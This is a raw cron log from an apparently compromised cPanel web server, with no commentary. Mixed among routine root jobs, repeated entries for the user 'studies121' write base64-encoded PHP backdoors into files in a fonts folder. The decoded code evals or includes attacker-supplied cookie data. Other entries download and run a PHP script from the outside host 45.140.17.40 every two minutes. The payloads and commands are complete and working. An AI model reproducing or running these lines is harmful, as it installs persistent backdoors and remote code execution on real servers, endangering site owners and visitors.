Sep 22 11:17:01 ip-184-168-122-23 CROND[24798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:17:01 ip-184-168-122-23 CROND[24797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:18:01 ip-184-168-122-23 CROND[24947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:18:01 ip-184-168-122-23 CROND[24949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:18:01 ip-184-168-122-23 CROND[24952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:18:01 ip-184-168-122-23 CROND[24951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:18:01 ip-184-168-122-23 CROND[24953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:19:01 ip-184-168-122-23 CROND[25102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:19:01 ip-184-168-122-23 CROND[25105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:19:01 ip-184-168-122-23 CROND[25104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:19:01 ip-184-168-122-23 CROND[25110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:20:02 ip-184-168-122-23 CROND[25272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:20:02 ip-184-168-122-23 CROND[25276]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 11:20:02 ip-184-168-122-23 CROND[25274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:20:02 ip-184-168-122-23 CROND[25275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:20:02 ip-184-168-122-23 CROND[25273]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 11:20:02 ip-184-168-122-23 CROND[25281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:20:02 ip-184-168-122-23 CROND[25280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:20:02 ip-184-168-122-23 CROND[25277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 11:20:02 ip-184-168-122-23 CROND[25278]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 11:21:01 ip-184-168-122-23 CROND[25516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:21:01 ip-184-168-122-23 CROND[25517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:21:01 ip-184-168-122-23 CROND[25518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:21:01 ip-184-168-122-23 CROND[25519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:22:01 ip-184-168-122-23 CROND[25670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:22:01 ip-184-168-122-23 CROND[25671]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:22:01 ip-184-168-122-23 CROND[25673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:22:01 ip-184-168-122-23 CROND[25675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:22:01 ip-184-168-122-23 CROND[25674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:23:01 ip-184-168-122-23 CROND[25867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:23:01 ip-184-168-122-23 CROND[25868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:23:01 ip-184-168-122-23 CROND[25871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:23:01 ip-184-168-122-23 CROND[25873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:24:02 ip-184-168-122-23 CROND[26033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:24:02 ip-184-168-122-23 CROND[26035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:24:02 ip-184-168-122-23 CROND[26037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:24:02 ip-184-168-122-23 CROND[26034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:24:02 ip-184-168-122-23 CROND[26038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:25:01 ip-184-168-122-23 CROND[27439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:25:01 ip-184-168-122-23 CROND[27436]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 11:25:01 ip-184-168-122-23 CROND[27438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:25:01 ip-184-168-122-23 CROND[27437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:25:01 ip-184-168-122-23 CROND[27435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 11:25:01 ip-184-168-122-23 CROND[27440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:26:01 ip-184-168-122-23 CROND[28199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:26:01 ip-184-168-122-23 CROND[28201]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:26:01 ip-184-168-122-23 CROND[28203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:26:01 ip-184-168-122-23 CROND[28200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:26:01 ip-184-168-122-23 CROND[28202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:27:01 ip-184-168-122-23 CROND[28969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:27:01 ip-184-168-122-23 CROND[28970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:27:01 ip-184-168-122-23 CROND[28973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:27:01 ip-184-168-122-23 CROND[28972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:28:01 ip-184-168-122-23 CROND[29721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:28:01 ip-184-168-122-23 CROND[29725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:28:01 ip-184-168-122-23 CROND[29726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:28:01 ip-184-168-122-23 CROND[29724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:28:01 ip-184-168-122-23 CROND[29727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:29:01 ip-184-168-122-23 CROND[30387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:29:01 ip-184-168-122-23 CROND[30391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:29:01 ip-184-168-122-23 CROND[30388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:29:01 ip-184-168-122-23 CROND[30390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
